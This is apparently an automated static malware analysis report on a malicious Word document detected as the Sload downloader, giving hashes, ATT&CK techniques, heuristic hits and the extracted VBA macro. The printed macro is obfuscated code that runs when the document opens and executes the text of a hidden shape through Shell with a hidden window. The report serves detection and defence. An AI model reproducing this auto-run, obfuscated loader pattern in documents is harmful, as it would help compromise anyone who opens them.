Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ade28b5728d8ace6…

MALICIOUS

Office (OLE)

71.2 KB Created: 2018-11-07 16:48:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 564ea4b6685f44681bbd41eb2397e835 SHA-1: ac7a5982f69cd1fc0047d1703d34835a7a9b3200 SHA-256: ade28b5728d8ace6b447df3467bc2be76f51614eb050b58649b375a2f4547d2f
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a PowerShell command. This command decodes and executes a Base64 encoded string, which is likely a second-stage payload. The presence of the 'Document_Open' macro and the PowerShell execution strongly indicate a malicious downloader attempting to compromise the system.

Heuristics 6

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1056 bytes
SHA-256: 0c143bd9e838761acf0b3eea050c99a69a6f857b51080c99dff537f93aef436c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vWJbnfiPYXwHzz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber jNDJM + skjap + IMKYzY + aMbSL - (wsrvmr + lGQjDH + HHllG + ZXHqo)
   Error fWzXi + aZNil + (rujUL + IsTrkU + dLTJqT + tYObNj)
   FormatNumber fNuia + twPzdM * IrnmfX + wHQWO / (WSjEH + UBNFwF)
   FormatDateTime KVrPpw + uGFjD - zHFDN + AjtDJB
   TimeValue TEIusQ + OBpui + wBwaU + OJSapM / TbkAGd + sSBHo + rvsGv + XGcVKQ
   FormatDateTime JfBiT + vzmdAj + OQiAo + JwSQLf + (oprGak + KJMRXn + PuIOF + aIqzU)
Const XwUaZ = 8105013 - 8105013
Shell@ Shapes(fztlDG + SzbYRLJo + 1 + pOTDm + VzQRhNjj).TextFrame.TextRange.Text + GMvzKW + GlDiUkP, XwUaZ
   FormatNumber (REEbMJ + iIKXlj + sTwCbj + isARf / omdjBz + Rbunt + CRCMu + WsLPY)
   TimeValue (BfmLDK + KEwfdW + NaQYJI + itcfG)
End Sub

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